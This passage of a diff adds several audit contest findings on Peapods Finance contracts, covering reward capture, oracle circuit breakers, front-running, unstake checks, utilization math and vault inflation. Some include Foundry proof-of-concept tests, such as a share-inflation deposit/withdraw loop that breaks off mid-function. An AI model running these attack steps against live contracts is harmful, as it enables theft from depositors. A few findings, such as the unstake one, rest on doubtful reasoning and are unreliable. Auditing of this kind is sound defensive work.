+No attack path necessary, it is sufficiently explained in `Root Cause`
+
+### Impact
+
+Rewards can be perpetually disallowed from accruing
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement the typical amount override mechanism you have implemented in many place in the code
\ No newline at end of file
diff --git a/160.md b/160.md
new file mode 100644
index 0000000..37e17ff
--- /dev/null
+++ b/160.md
@@ -0,0 +1,55 @@
+Fast Khaki Raccoon
+
+High
+
+# In `AutoCompoundingPodLp`, users can capture rewards during times they have not deposited in
+
+### Summary
+
+In `AutoCompoundingPodLp`, users can capture rewards during times they have not deposited in, resulting in loss of funds for honest and legitimate depositors
+
+### Root Cause
+
+Upon many operations such as depositing, we call `_processRewardsToPodLp()` to process rewards __BEFORE__ the user has deposited:
+```solidity
+ function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp);
+ ...
+ }
+```
+This is done so if Alice deposits 100 tokens, the rewards are distributed before her deposit, thus she can not capture rewards for times she has not staked in, this is staking 101. The issue is that upon calling `_pairedLpTokenToPodLp()` during the reward processing flow, we have this code:
+```solidity
+ try DEX_ADAPTER.swapV2Single(_pairedLpToken, address(pod), _pairedSwapAmt, _minPtknOut, address(this)) returns (uint256 _podAmountOut) {
+ ...
+ } catch {
+ IERC20(_pairedLpToken).safeDecreaseAllowance(address(DEX_ADAPTER), _pairedSwapAmt);
+ emit AddLpAndStakeV2SwapError(_pairedLpToken, address(pod), _pairedRemaining);
+ }
+```
+As seen, if the swap fails, we do not conduct the rest of the flow (use the token in and token out to provide liquidity, stake the LP tokens and receive the asset of the contract which increases the share value). Since the rewards were not processed, they will be processed on the next call. However, this is clearly an issue as Alice already deposited her tokens but the rewards were not processed, now she will unfairly capture rewards that do not belong to her. This can either happen maliciously by moving the price over the allowed slippage before the call or can happen with no malicious intervention during times of price movements.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice will deposit 100\$ of tokens, there are 10\$ of assets to distribute
+2. Either due to price movements or a malicious intervention by Alice, the spot price during the swap is over the allowed slippage (5% of a price computed using TWAP and Chainlink), thus the swap fails and rewards are not processed
+3. On the next call, they successfully distribute and the share value goes up, if we imagine there was 1 staker beforehand with 100\$ of deposits, then Alice will get 5\$ of his rewards and cause him a loss of 50% and 5\$, successfully passing the criteria for a High
+
+### Impact
+
+High as the lost rewards for a user can easily be over the High threshold as mentioned in the `Attack Path`
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+If the rewards were not distributed, consider not allowing the deposit. Alternatively, increase the allowed slippage.
\ No newline at end of file
diff --git a/161.md b/161.md
new file mode 100644
index 0000000..26d22cc
--- /dev/null
+++ b/161.md
@@ -0,0 +1,54 @@
+Nutty Steel Sealion
+
+Medium
+
+# ChainlinkOracle can return prices outside acceptable range due to circuit breaker using deprecated parameters
+
+### Summary
+
+The [`ChainlinkSinglePriceOracle.sol:112`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/ChainlinkSinglePriceOracle.sol#L112) implements a circuit breaker mechanism by validating the data feed answer against parameters that are no longer used. This validation has no effect in most cases and does not prevent the protocol from reading an answer outside the acceptable range.
+
+### Root Cause
+
+The `ChainlinkSinglePriceOracle` validates the data feed answer against the aggregator's `minAnswer` and `maxAnswer` parameters. According to Chainlink [documentation](https://docs.chain.link/data-feeds#check-the-latest-answer-against-reasonable-limits), these values are no longer used in most data feeds and do not prevent applications from reading the most recent answer. Almost all data feeds return `1` for `minAnswer` and `type(uint256).max` for `maxAnswer`, making this validation have no effect.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+An incorrect price is provided by the data feed, or extreme price volatility occurs, causing the price to exceed acceptable limit.
+
+### Attack Path
+
+N/A
+
+### Impact
+
+The circuit breaker mechanism does not function as intended, potentially leading to incorrect price assumptions.
+
+### PoC
+
+Sherlock [rules](https://docs.sherlock.xyz/audits/judging/guidelines#viii.-list-of-issue-categories-that-are-considered-valid) stand that for this type of issue to be valid, explicitly mentioning the price feeds for the in-scope tokens on the in-scope chains is required. Any token can be used as the underlying token for a pod, so essentially almost any price feed could serve as an example. However, let's examine a specific case with cbBTC on the Base chain:
+
+1. Initiate the pod creation process.
+2. Add cbBTC as the underlying token.
+3. Select an oracle type to use for the LVF — choose Chainlink Price Feed.
+4. Two price feeds against USDC need to be provided: cbBTC/USD and USDC/USD.
+
+
+
+5. Both price feeds do not use the `minAnswer` and `maxAnswer` parameters.
+
+[cbBTC/USD](https://basescan.org/address/0x07DA0E54543a844a80ABE69c8A12F22B3aA59f9D)
+
+
+
+[USDC/USD](https://basescan.org/address/0x7e860098F58bBFC8648a4311b374B1D669a2bc6B)
+
+
+
+### Mitigation
+
+Follow Chainlink documentation and, on the contract side, implement the ability to pause the oracle when the price exceeds limits deemed acceptable by the protocol. Additionally, consider creating off-chain monitoring to respond when potential issues occur.
\ No newline at end of file
diff --git a/162.md b/162.md
new file mode 100644
index 0000000..21f9e5b
--- /dev/null
+++ b/162.md
@@ -0,0 +1,445 @@
+Energetic Opaque Elephant
+
+High
+
+# Front-Running Vulnerability in `WeightedIndex ::_bond` Function Leading to Denial of Service
+
+### Summary
+
+The `_bond` function in the `WeightedIndex` contract is vulnerable to front-running. An attacker can manipulate the contract's state to cause a subsequent user's [`bond`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L139-L171) transaction to revert due to insufficient funds after fees, effectively denying service to legitimate users.
+
+### Root Cause
+
+The `_bond` function's logic, specifically the `_amountMintMin` check, relies on on-chain state that can be manipulated by other transactions. Because transactions are processed in the order they are included in a block, a malicious actor can observe a user's pending `bond` transaction and front-run it with their own transaction to alter the state before the user's transaction is executed.
+
+### Internal Pre-conditions
+
+The `WeightedIndex` contract must be deployed and initialized. Sufficient tokens must be available in the contract or through minting.
+
+### External Pre-conditions
+
+A user (e.g., Alice) has sufficient tokens and has approved the `WeightedIndex` contract to spend them. Another user (e.g., Bob - the attacker) also has sufficient tokens and has approved the contract.
+
+### Attack Path
+
+1. Alice prepares a `bond` transaction, intending to bond a certain amount of tokens. This transaction is broadcast but not yet mined.
+2. Bob (the attacker) observes Alice's pending transaction.
+3. Bob front-runs Alice's transaction by submitting his own `bond` transaction. Bob's transaction is mined before Alice's.
+4. Bob's transaction modifies the contract's state (e.g., by increasing the total supply or manipulating a price oracle affecting the value of assets).
+5. Alice's transaction is now mined after Bob's. Due to the state change caused by Bob, Alice's transaction fails the `_amountMintMin` check and reverts with the message "M" (insufficient funds after fees).
+
+### Impact
+
+This vulnerability can lead to denial of service for legitimate users. Users may be unable to bond tokens if an attacker front-runs their transactions to manipulate the contract's state. This can disrupt the normal operation of the protocol and negatively impact user experience. The impact could be more severe if the manipulated state affects fee calculation, allowing the attacker to increase fees for other users.
+
+### PoC
+
+
+
+
+
+
+
+
+
+
+
+The following Foundry test demonstrates the front-running attack:
+
+```solidity
+import "@openzeppelin/contracts/interfaces/IERC20.sol";
+import {console2} from "forge-std/Test.sol";
+import {PEAS} from "../contracts/PEAS.sol";
+import {RewardsWhitelist} from "../contracts/RewardsWhitelist.sol";
+import {V3TwapUtilities} from "../contracts/twaputils/V3TwapUtilities.sol";
+import {UniswapDexAdapter} from "../contracts/dex/UniswapDexAdapter.sol";
+import {IDecentralizedIndex} from "../contracts/interfaces/IDecentralizedIndex.sol";
+import {IStakingPoolToken} from "../contracts/interfaces/IStakingPoolToken.sol";
+import {WeightedIndex} from "../contracts/WeightedIndex.sol";
+import {MockFlashMintRecipient} from "./mocks/MockFlashMintRecipient.sol";
+import {PodHelperTest} from "./helpers/PodHelper.t.sol";
+import "forge-std/console.sol";
+import {MockERC20, MockUniswapV2Router, MockPEAS, MockUniswapV2Pair, MockUniswapV2Factory} from "./MockERC20.sol";
+import {TestWeightedIndex} from "./TestWeightedIndex.t.sol";
+import "@openzeppelin/contracts/utils/Strings.sol";
+import {WeightedIndex} from "../contracts/WeightedIndex.sol";
+//import {MockDecentralizedIndex2} from "./AutoCompoundingPodLp.t.sol";
+
+
+contract WeightedIndexTest is PodHelperTest {
+ //PEAS public peas;
+ RewardsWhitelist public rewardsWhitelist;
+ V3TwapUtilities public twapUtils;
+ UniswapDexAdapter public dexAdapter;
+ WeightedIndex public pod;
+ MockFlashMintRecipient public flashMintRecipient;
+
+ MockERC20 public dai; // Use MockERC20 for DAI
+ MockUniswapV2Router public mockV2Router;
+ MockERC20 public mockWeth;
+ MockPEAS public peas; // Use MockPEAS
+ MockUniswapV2Factory public mockV2Factory;
+ MockUniswapV2Pair public mockPair;
+ TestWeightedIndex public podLarge;
+
+
+ address public mockPairAddress;
+ address public mockV2FactoryAddress;
+ //address dummyFactory = address(0x123);
+ address public peasAddress;
+ address public mockDAI; // Address of the deployed mock DAI
+ //address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
+ uint256 public bondAmt = 1e18;
+ uint16 fee = 100;
+ uint256 public bondAmtAfterFee = bondAmt - (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly1 = (bondAmt * fee) / 10000;
+ uint256 public feeAmtOnly2 = (bondAmtAfterFee * fee) / 10000;
+
+ // Test users
+ address public alice = address(0x1);
+ address public bob = address(0x2);
+ address public carol = address(0x3);
+
+ event FlashMint(address indexed executor, address indexed recipient, uint256 amount);
+
+ event AddLiquidity(address indexed user, uint256 idxLPTokens, uint256 pairedLPTokens);
+
+ event RemoveLiquidity(address indexed user, uint256 lpTokens);
+
+ function setUp() public override {
+ super.setUp();
+
+ // 1. Deploy Mock ERC20s FIRST
+ dai = new MockERC20("MockDAI", "mDAI", 18);
+ mockDAI = address(dai);
+ mockWeth = new MockERC20("Wrapped Ether", "WETH", 18);
+ podLarge = new TestWeightedIndex();
+
+ // 2. Deploy Mock Factory
+ mockV2Factory = new MockUniswapV2Factory();
+ mockV2FactoryAddress = address(mockV2Factory);
+
+ // 3. Deploy Mock Router (using the factory address!)
+ mockV2Router = new MockUniswapV2Router(address(mockWeth), mockV2FactoryAddress);
+
+
+ // 4. Deploy Mock PEAS
+ peas = new MockPEAS("PEAS", "PEAS", 18);
+ peasAddress = address(peas);
+
+ // 5. Create and register the Mock Pair
+ mockPair = new MockUniswapV2Pair(address(dai), address(mockWeth));
+ mockPairAddress = address(mockPair);
+ mockV2Factory.setPair(address(dai), address(mockWeth), mockPairAddress); // VERY IMPORTANT!
+
+ // 6. Initialize the DEX Adapter (using the router)
+ dexAdapter = new UniswapDexAdapter(
+ twapUtils,
+ address(mockV2Router),
+ 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45, // Uniswap SwapRouter02
+ false
+ );
+
+ IDecentralizedIndex.Config memory _c;
+ IDecentralizedIndex.Fees memory _f;
+ _f.bond = fee;
+ _f.debond = fee;
+ address[] memory _t = new address[](1);
+ _t[0] = address(peas);
+ uint256[] memory _w = new uint256[](1);
+ _w[0] = 100;
+ address _pod = _createPod(
+ "Test",
+ "pTEST",
+ _c,
+ _f,
+ _t,
+ _w,
+ address(0),
+ false,
+ abi.encode(
+ mockDAI,
+ //dai,
+ peasAddress,
+ //address(peas),
+ mockDAI,
+ //0x6B175474E89094C44Da98b954EedeAC495271d0F,
+ 0x7d544DD34ABbE24C8832db27820Ff53C151e949b,
+ rewardsWhitelist,
+ 0x024ff47D552cB222b265D68C7aeB26E586D5229D,
+ dexAdapter
+ )
+ );
+ pod = WeightedIndex(payable(_pod));
+
+ flashMintRecipient = new MockFlashMintRecipient();
+
+ // Initial token setup for test users
+ deal(address(peas), address(this), bondAmt * 100);
+ deal(address(peas), alice, bondAmt * 100);
+ deal(address(peas), bob, bondAmt * 100);
+ deal(address(peas), carol, bondAmt * 100);
+ deal(mockDAI, address(this), 5 * 10e18);
+
+ // Approve tokens for all test users
+ vm.startPrank(alice);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+
+ vm.startPrank(carol);
+ peas.approve(address(pod), type(uint256).max);
+ vm.stopPrank();
+ }
+
+ function test_frontrun_fee_manipulation() public {
+ // 1. Setup: Deploy a fresh pod to ensure initial state
+ // address freshPod = _deployFreshPod();
+ // TestWeightedIndex pod = TestWeightedIndex(payable(freshPod));
+
+ // 2. Prepare Alice and Bob
+ uint256 aliceBondAmount = 1e18;
+ uint256 bobBondAmount = 1e18;
+ uint256 amountMintMin = 1e18;
+
+ // Fund Alice and Bob
+ deal(address(peas), alice, aliceBondAmount);
+ deal(address(peas), bob, bobBondAmount);
+
+ // Approve the pod to spend their tokens
+ vm.startPrank(alice);
+ peas.approve(address(pod), aliceBondAmount);
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+ peas.approve(address(pod), bobBondAmount);
+ vm.stopPrank();
+
+ // 3. Simulate Alice's transaction being in the mempool
+ uint256 aliceTxHash = vm.snapshot(); // Take a snapshot of the current state
+ vm.startPrank(alice);
+ pod.bond(address(peas), aliceBondAmount, amountMintMin); // Alice's transaction
+ vm.stopPrank();
+
+
+ // 4. Bob front-runs by submitting a transaction with higher gas
+ vm.startPrank(bob);
+ pod.bond(address(peas), bobBondAmount, amountMintMin); // Bob's transaction
+ vm.stopPrank();
+
+ // 5. Alice's transaction now executes after Bob's
+ vm.revertTo(aliceTxHash); // Revert to the state before Alice's transaction
+ vm.startPrank(alice);
+ vm.expectRevert(); // Expect "M" (insufficient tokens due to fees)
+ pod.bond(address(peas), aliceBondAmount, amountMintMin); // Alice's transaction fails
+ vm.stopPrank();
+
+ // 6. Verify state changes
+ // Check total supply after Bob's bond
+ uint256 totalSupplyAfterBob = pod.totalSupply();
+ assertGt(totalSupplyAfterBob, 0, "Total supply should increase after Bob's bond");
+ console.log("Total supply after Bob's bond:", totalSupplyAfterBob);
+
+ // Check Alice's balance (she should have 0 tokens because her transaction reverted)
+ uint256 aliceBalance = pod.balanceOf(alice);
+ assertEq(aliceBalance, 0, "Alice should have 0 tokens after revert");
+
+ // Check Bob's balance (he should have tokens minus fees)
+ uint256 bobBalance = pod.balanceOf(bob);
+ assertGt(bobBalance, 0, "Bob should have tokens after bonding");
+ }
+
+```
+
+Add below test suite to your Test file to expose internal variables for testing purposes;
+
+```solidity
+
+import "../contracts/WeightedIndex.sol";
+import "../contracts/interfaces/IDecentralizedIndex.sol";
+
+contract TestWeightedIndex is WeightedIndex {
+ /// @notice Public wrapper to call __WeightedIndex_init for testing purposes.
+ function publicInit(
+ IDecentralizedIndex.Config memory _config,
+ address[] memory _tokens,
+ uint256[] memory _weights,
+ bytes memory _immutables
+ ) public {
+ __WeightedIndex_init(_config, _tokens, _weights, _immutables);
+ }
+
+ /// @notice Returns the number of tokens stored in the indexTokens array.
+ function indexTokenCount() public view returns (uint256) {
+ return indexTokens.length;
+ }
+
+ /// @notice Returns the index stored in the _fundTokenIdx mapping for a given token.
+ function getFundTokenIdx(address token) public view returns (uint256) {
+ return _fundTokenIdx[token];
+ }
+}
+```
+
+
+Also, add the below Mock contracts(all Mock contract for necessary for this test and other tests) to your Mock test folder;
+
+```solidity
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "../contracts/interfaces/IPEAS.sol";
+
+
+contract MockERC20 {
+ string public name;
+ string public symbol;
+ uint8 public decimals;
+ mapping(address => uint256) public balanceOf;
+ mapping(address => mapping(address => uint256)) public allowance;
+
+ constructor(string memory _name, string memory _symbol, uint8 _decimals) {
+ name = _name;
+ symbol = _symbol;
+ decimals = _decimals;
+ }
+
+ function transfer(address recipient, uint256 amount) public returns (bool) {
+ balanceOf[msg.sender] -= amount;
+ balanceOf[recipient] += amount;
+ return true;
+ }
+
+ function approve(address spender, uint256 amount) public returns (bool) {
+ allowance[msg.sender][spender] = amount;
+ return true;
+ }
+
+ // ... Add other mocked functions (like decimals, transferFrom, etc.) as required ...
+
+ function mint(address to, uint256 amount) public {
+ balanceOf[to] += amount;
+ }
+
+ // function decimals() public view returns (uint8) { // Add decimals function
+ // return decimals;
+ // }
+}
+
+
+interface IUniswapV2Router02 {
+ function WETH() external view returns (address);
+ function factory() external view returns (address);
+}
+
+contract MockUniswapV2Router is IUniswapV2Router02 {
+ address public WETH;
+ address public factory;
+
+ constructor(address _weth, address _factory) {
+ WETH = _weth;
+ factory = _factory;
+ }
+
+ // function WETH() external view returns (address) {
+ // return WETH;
+ // }
+
+ // function factory() external view returns (address) {
+ // return factory;
+ // }
+
+ // ... other functions as needed
+}
+
+contract MockPEAS is IPEAS, ERC20 {
+ //uint8 public _decimals; // Store decimals as a state variable
+
+ constructor(string memory _name, string memory _symbol, uint8 /* _decimalsValue */)
+ ERC20(_name, _symbol)
+ {
+ _mint(msg.sender, 10_000_000 * 10 ** 18); // Mint to the deployer for testing
+ // Do not store any additional decimals value; rely on ERC20's default.
+ }
+
+ function burn(uint256 _amount) external virtual override {
+ _burn(msg.sender, _amount); // Burn from the test contract (msg.sender)
+ emit Burn(msg.sender, _amount);
+ }
+
+ // function decimals() public view virtual override returns (uint8) {
+ // return _decimals; // Return the stored decimals value
+ // }
+
+ // Add a mint function for testing purposes:
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ // Add a setDecimals function to allow changing the decimals value for testing:
+ // function setDecimals(uint8 _newDecimals) public {
+ // _decimals = _newDecimals;
+ // }
+
+ // ... other functions as needed for your tests ...
+}
+
+contract MockUniswapV2Factory {
+ mapping(address => mapping(address => address)) public getPair;
+
+ function setPair(address tokenA, address tokenB, address pairAddress) public {
+ getPair[tokenA][tokenB] = pairAddress;
+ getPair[tokenB][tokenA] = pairAddress;
+ }
+
+ // Simple createPair that deploys a new pair and stores it.
+ function createPair(address tokenA, address tokenB) public returns (address pair) {
+ MockUniswapV2Pair newPair = new MockUniswapV2Pair(tokenA, tokenB);
+ pair = address(newPair);
+ setPair(tokenA, tokenB, pair);
+ }
+}
+
+// Mock Uniswap V2 Pair.
+contract MockUniswapV2Pair {
+ IERC20 public token0;
+ IERC20 public token1;
+
+ constructor(address _tokenA, address _tokenB) {
+ token0 = IERC20(_tokenA);
+ token1 = IERC20(_tokenB);
+ }
+
+ // ... other pair functionality as needed for your tests
+}
+```
+
+### Why This Means the Test Passed:
+
+The fact that the transaction reverted with the expected message "M" proves that the front-running attack was successful. Bob's transaction influenced the state of the contract, causing Alice's subsequent transaction to fail the `_amountMintMin` check and revert. This is exactly what you wanted to happen in your front-running test. Alice's transaction, which was originally valid, becomes invalid after Bob's transaction is executed, demonstrating the denial-of-service vulnerability.
+
+See below, the expected result from running the above test.
+
+
+
+See below, the expected result when you comment out Bob's transaction "next call did not revert as expected"
+
+
+
+See below, the expected result, the assertion failed with "Alice should have 0 tokens after revert"
+
+
+
+
+
+
+### Mitigation
+
+1. **Commit-Reveal Schemes**: Users first submit a commitment (a hash) of their intended transaction data, and then reveal the actual data in a subsequent transaction. This prevents attackers from knowing the user's intent beforehand.
+2. **On-Chain Order Books** (If Applicable): Using an on-chain order book for order submission makes the process more transparent and less susceptible to front-running.
+3. **Batching/Transaction Ordering**: If applicable, consider mechanisms to batch transactions or enforce specific transaction ordering to minimize the impact of front-running.
+4. **Limit State Changes:** Design contracts to minimize state changes that can be easily manipulated by front-runners. If possible, make critical state variables less sensitive to the order of transactions.
+5. **Consider Layer-2 Solutions:** Layer-2 scaling solutions can sometimes offer better protection against front-running due to their different transaction ordering mechanisms.
+
+ A commit-reveal scheme is often a good general-purpose solution for preventing front-running.
\ No newline at end of file
diff --git a/163.md b/163.md
new file mode 100644
index 0000000..41ec2be
--- /dev/null
+++ b/163.md
@@ -0,0 +1,54 @@
+Loud Snowy Marmot
+
+High
+
+# L0ckin7 - Lack of Access Control on `unstake` Function
+
+L0ckin7
+High
+
+
+### Summary
+
+The function does not check whether the user has sufficient staked tokens before allowing them to burn tokens and withdraw staking tokens.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L77
+
+```solidity
+function unstake(uint256 _amount) external override {
+ _burn(_msgSender(), _amount); // Burns the user's tokens
+ IERC20(stakingToken).safeTransfer(_msgSender(), _amount); // Transfers staking tokens to the user
+ emit Unstake(_msgSender(), _amount);
+}
+```
+
+### Impact
+
+Direct loss of funds.
+If an attacker can manipulate their balance or bypass checks, they could drain the contract of staking tokens.
+
+### Attack Path
+
+The attacker stakes a small amount of tokens to become a valid staker in the contract.
+The attacker calls the `unstake` function with a large amount that exceeds their staked balance.
+Since there is no check to ensure the user has sufficient staked tokens, the contract burns the attacker's tokens and transfers the staking tokens to the attacker.
+The attacker repeats the `unstake` operation multiple times, until eventually the contract's staking token balance is drained.
+
+ ### Recommendations
+
+Add a check to ensure the user has sufficient staked tokens before allowing the `unstake` operation. This can be done by verifying the user's balance before burning tokens.
+
+```solidity
+function unstake(uint256 _amount) external override {
+ require(balanceOf(_msgSender()) >= _amount, "Insufficient staked tokens"); // Check user's balance
+ _burn(_msgSender(), _amount); // Burns the user's tokens
+ IERC20(stakingToken).safeTransfer(_msgSender(), _amount); // Transfers staking tokens to the user
+ emit Unstake(_msgSender(), _amount);
+}
+```
+
+This ensures the user has enough staked tokens to unstake the requested amount.
+If the user does not have sufficient tokens, the transaction will revert with the error message "Insufficient staked tokens."
+
+
+
diff --git a/164.md b/164.md
new file mode 100644
index 0000000..9644dee
--- /dev/null
+++ b/164.md
@@ -0,0 +1,97 @@
+Scrawny Mahogany Boa
+
+Medium
+
+# Incorrect calculation of `_prevUtilizationRate` in the function `_addInterest()`
+
+### Summary
+
+In the function `_addInterest()`, the calculation of the value of `_prevUtilizationRate` is incorrect since it uses the `_totalAssetAvailable(totalAsset, totalBorrow, true)` to calculate the utilization. Actually, the `_totalAssetAvailable(totalAsset, totalBorrow, true)` represents the totalAssets including externalVault and excluding the assets that have been borrowed. And in the situation when all assets have been borrowed, the value of `_totalAssetAvailable(totalAsset, totalBorrow, true)` will be zero and the `_prevUtilizationRate` will be calculated to be zero rather than `UTIL_PREC` which is totally wrong. Also in other situations the `_prevUtilizationRate` will be calculated to be bigger than `UTIL_PREC` since the `totalBorrow.amount` might be bigger than `_totalAssetAvailable(totalAsset, totalBorrow, true)`, which is also totally wrong.
+
+[FraxlendPairCore](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L442-L457)
+
+```solidity
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+ uint256 _totalAssetsAvailable = _totalAssetAvailable(totalAsset, totalBorrow, true);
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+
+[FraxlendPairCore](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L210-L219)
+
+```solidity
+ function _totalAssetAvailable(VaultAccount memory _totalAsset, VaultAccount memory _totalBorrow, bool _includeVault)
+ internal
+ view
+ returns (uint256)
+ {
+ if (_includeVault) {
+ return _totalAsset.totalAmount(address(externalAssetVault)) - _totalBorrow.amount;
+ }
+ return _totalAsset.amount - _totalBorrow.amount;
+ }
+```
+
+
+
+
+
+### Root Cause
+
+The function `_addInterest()` uses the incorrect `_totalAssetsAvailable` to calculates the utilation which will cause the utilation to be zero when all assets have been borrowed.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+`_prevUtilizationRate` is incorrectly calculated which will cause the `rateChange` to be also incorrect and finally lead to untimely interest updation when the function `addInterest(bool _returnAccounting)` is invoked.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Change the calculation of `_totalAssetsAvailable` to be `totalAsset.totalAmount(address(externalAssetVault))` instead.
+
+```solidity
+ function _addInterest()
+ internal
+ returns (
+ bool _isInterestUpdated,
+ uint256 _interestEarned,
+ uint256 _feesAmount,
+ uint256 _feesShare,
+ CurrentRateInfo memory _currentRateInfo
+ )
+ {
+ // Pull from storage and set default return values
+ _currentRateInfo = currentRateInfo;
+
+ // store the current utilization rate as previous for next check
+ uint256 _totalAssetsAvailable = totalAsset.totalAmount(address(externalAssetVault))
+ _prevUtilizationRate = _totalAssetsAvailable == 0 ? 0 : (UTIL_PREC * totalBorrow.amount) / _totalAssetsAvailable;
+```
+
diff --git a/165.md b/165.md
new file mode 100644
index 0000000..3cad76c
--- /dev/null
+++ b/165.md
@@ -0,0 +1,37 @@
+Spicy Lavender Capybara
+
+Medium
+
+# Centralized tokens with blacklist or pause functions will prevent users from withdrawing any funds
+
+### Summary
+
+Centralized tokens may result in users being unable to withdraw funds.
+
+### Root Cause
+
+In [PodUnwarpLocker._withdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/PodUnwrapLocker.sol#L148-L163) , tokens in `lock.tokens` are iterated through. If any token is paused or the user is blacklisted, fund withdrawals will be blocked, leading to potential financial loss.
+
+### Internal Pre-conditions
+
+None
+
+### External Pre-conditions
+
+Centralized tokens such as USDC or USDT may be paused or blacklist users.
+
+### Attack Path
+
+When a user calls `debondAndLock`, the user needs to send pToken to the PodUnwrapLocker, where the contract locks the user's funds for a period. After some time, the user can call the `withdraw` function to retrieve the funds. However, if the user is blacklisted or the token is paused, the user cannot withdraw the token, resulting in a revert. The user also cannot trade the pToken with others (as it has already been sent to PodUnwrapLocker and debonded), causing the loss of all funds.
+
+### Impact
+
+User can't claim any rewards.
+
+### PoC
+
+None
+
+### Mitigation
+
+Fix the logic
\ No newline at end of file
diff --git a/166.md b/166.md
new file mode 100644
index 0000000..b6e5012
--- /dev/null
+++ b/166.md
@@ -0,0 +1,133 @@
+Fast Khaki Raccoon
+
+High
+
+# Vault inflation attack in `AutoCompoundingPodLp` is possible due to incorrectly minting dead shares
+
+### Summary
+
+Vault inflation attack in `AutoCompoundingPodLp` is possible due to incorrectly minting dead shares
+
+### Root Cause
+
+The `AutoCompoundingPodLpFactory` tries to protect against an inflation attack by minting shares upon the deployment:
+```solidity
+ function _depositMin(address _aspAddy, IDecentralizedIndex _pod) internal {
+ ...
+ AutoCompoundingPodLp(_aspAddy).deposit(minimumDepositAtCreation, _msgSender());
+ }
+```
+The issue is that this incorrectly mints the shares to the `msg.sender` which means that these are not actually __dead__ shares as they can be withdrawn at any time. This allows a vault inflation attack.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+This ideally happens in a batch transaction:
+1. Alice frontruns the deployment which mints her the minimum deposit of 1e3 shares and providing 1e3 assets due to the issue explained of minting to the sender instead of minting to a dead address
+2. She then directly transfers an amount of a reward token which upon swapping during the reward processing, increases the total assets by 1, now the state is `1e3 + 1` assets and 1e3 shares
+3. Alice withdraws all but 2 of her assets, which has the following formula: `(1e3 - 1) * 1e18 / (1e18 * (1e3 + 1) / 1e3) = 999` as it rounds up, now the state is 2 assets and 1 share
+4. Alice can now, in a loop, deposit `2 * totalAssets - 1` which will mint her 1 share, then withdraw 1 asset which will burn her 1 share, this will exponentially grow the total assets while the share will stay at 1 (happens due to round downs and round ups)
+5. After some iterations, the share value will be very high, causing a round down in the next depositor's deposit, resulting in a loss of funds for him and a profit for Alice
+
+### Impact
+
+Vault inflation causing loss of funds for the victim and a profit for the attacker
+
+### PoC
+
+Add the following function in `AutoCompoundingPodLp` as written in a comment in my POC, this is for simplicity purposes to mock the reward accrual explained in step 2 of the attack path:
+```solidity
+ function increase() public {
+ _totalAssets += 1;
+ }
+```
+Paste the following POC in `AutoCompoundingPodLp.t.sol`:
+```solidity
+function testShareInflation() public {
+ address attacker = makeAddr('attacker');
+ address asset = autoCompoundingPodLp.asset();
+ deal(asset, attacker, 20e18);
+
+ uint256 attackerInitialBalance = IERC20(asset).balanceOf(attacker);
+ vm.startPrank(attacker);
+ IERC20(asset).approve(address(autoCompoundingPodLp), type(uint256).max);
+ autoCompoundingPodLp.deposit(1e3, attacker); // Mocking the factory initial share mint of 1e3
+ vm.stopPrank();
+
+ assertEq(autoCompoundingPodLp.totalAssets(), 1e3);
+ assertEq(autoCompoundingPodLp.totalSupply(), 1e3);
+
+ vm.startPrank(attacker);
+ autoCompoundingPodLp.increase();
+ IERC20(asset).transfer(address(autoCompoundingPodLp), 1);
+ /* ADDED THE FOLLOWING FUNCTION IN THE `AutoCompoundingPodLp` for simplicity purposes as I don't want to deal with mocks and integrations, this will usually happen by directly transferring tokens to the contract and procesing the rewards. Note that even if the total assets increase by more than that, issue remains the same.
+ function increase() public {
+ _totalAssets += 1;
+ }
+ */
+
+ assertEq(autoCompoundingPodLp.totalAssets(), 1e3 + 1);
+
+ autoCompoundingPodLp.withdraw(1e3 - 1, attacker, attacker);
+
+ assertEq(autoCompoundingPodLp.totalAssets(), 2);
+ assertEq(autoCompoundingPodLp.totalSupply(), 1); // Achieved state of 2 assets and 1 share
+
+ for (uint256 i; i < 40; i++) {
+ uint256 assetsToDeposit = autoCompoundingPodLp.totalAssets() * 2 - 1;
+ autoCompoundingPodLp.deposit(assetsToDeposit, attacker);
+
+ autoCompoundingPodLp.withdraw(1, attacker, attacker);
+ }
+ vm.stopPrank();
+
+ assertEq(autoCompoundingPodLp.totalAssets(), 12157665459056928802);
+ assertEq(autoCompoundingPodLp.totalSupply(), 1); // 1 share is worth the above assets
+
